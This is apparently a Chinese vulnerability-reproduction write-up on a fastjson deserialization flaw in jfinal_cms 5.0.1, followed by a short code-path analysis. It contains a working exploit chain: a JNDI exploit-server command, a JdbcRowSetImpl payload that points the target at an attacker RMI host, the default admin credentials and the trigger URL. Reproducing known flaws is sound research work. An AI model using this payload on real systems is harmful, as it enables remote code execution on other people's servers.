Jfinal CMS命令注入漏洞
2023-06-13 09:13:13 时间
漏洞环境
jfinal_cms 5.0.1 中存在命令执行漏洞
JDK 版本要求:
- 基于 RMI<=6u141、7u131、8u121 使用的 JDK 版本
- 基于 LDAP<=6u211、7u201、8u191 使用的 JDK 版本。
jfinal_cms版本:5.0.1 fastjson版本:1.2.28
漏洞复用
测试中使用的JDK版本:JDK8u101
在 kali 上运行该工具,启动 rmi 和 ldap 服务 https://github.com/feihong-cs/JNDIExploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
替换payload中的rmi或ldap地址,然后保存到config.json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.248.128:1099/6dxg2x",
"autoCommit":true
}
}
登录后台,找到模板管理,后台默认账号密码admin/admin123456
找到config.json并点击,之后点replace file
把刚才做好的payload上传
访问 /ueditor,就会执行命令并弹出计算器
http://localhost:8080/jfinal_cms/ueditor
利用成功,散会!
漏洞分析
com.jflyfox.component.controller.Ueditor
ActionEnter
类在/ueditor
路由的index
方法中实例化
com.baidu.ueditor.ActionEnter
在ActionEnter
类的构造方法中实例化
com.baidu.ueditor.ConfigManager
ConfigManager
调用的构造方法initEnv()
com.baidu.ueditor.ConfigManager
initEnv
调用JSONObject.parseObject
来解析文件内容,这里的文件内容是可控的,只需将文件内容替换为payload即可
com.baidu.ueditor.ConfigManager
如果后台存在任何文件上传漏洞,则可以将此文件替换为包含payload的文件,以触发 fastjson 反序列化WEB-INF/classes/config.json
相关文章
- 原创Paper | Cisco RV340 wfapp 命令注入漏洞(CVE-2022-20827)分析
- 苹果 iOS 的一 0day 漏洞售卖 5500 万元
- SSRF漏洞原理解析[通俗易懂]
- 文件包含漏洞—allow_url_fopen和allow_url_include详解
- http.sys远程代码注入漏洞
- 漏洞复现 | DirtyPipe CVE-2022-0847 Linux 内核提权漏洞复现
- CVE-2022-28346:Django SQL注入漏洞
- 网站被整改报告存在sql注入漏洞如何修复防护
- 干货|超详细的常见漏洞原理笔记总结
- 漏洞复现-Spring Cloud Function SpEL表达式注入
- DVWA漏洞演练平台 - SQL注入
- 干货 | MSSQL注入和漏洞利用姿势总结
- php漏洞分析之网站漏洞修复服务商
- 微软修补了用来传播勒索软件的 Windows 零日漏洞
- 《2022年度区块链安全及反洗钱分析》发布,漏洞利用是最常见攻击方法
- 黑客利用向日葵漏洞部署 Sliver C2 框架
- 重大供应链威胁!这个 Java 开源框架存在严重漏洞
- 关于struts2中出现的漏洞,如何测试解决详解编程语言
- 利用脚本注入漏洞攻击ReactJS应用程序
- PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)含PoC
- 利用《魔兽争霸3》漏洞传播的“萝莉”蠕虫分析
- 黑盒审计之注入漏洞挖掘思路【转】
- 漏洞预警:Zabbix高危SQL注入漏洞,可获取系统权限
- 如何预防MySQL注入漏洞?(mysql注入漏洞)
- 在Global.asax文件里实现通用防SQL注入漏洞程序(适应于post/get请求)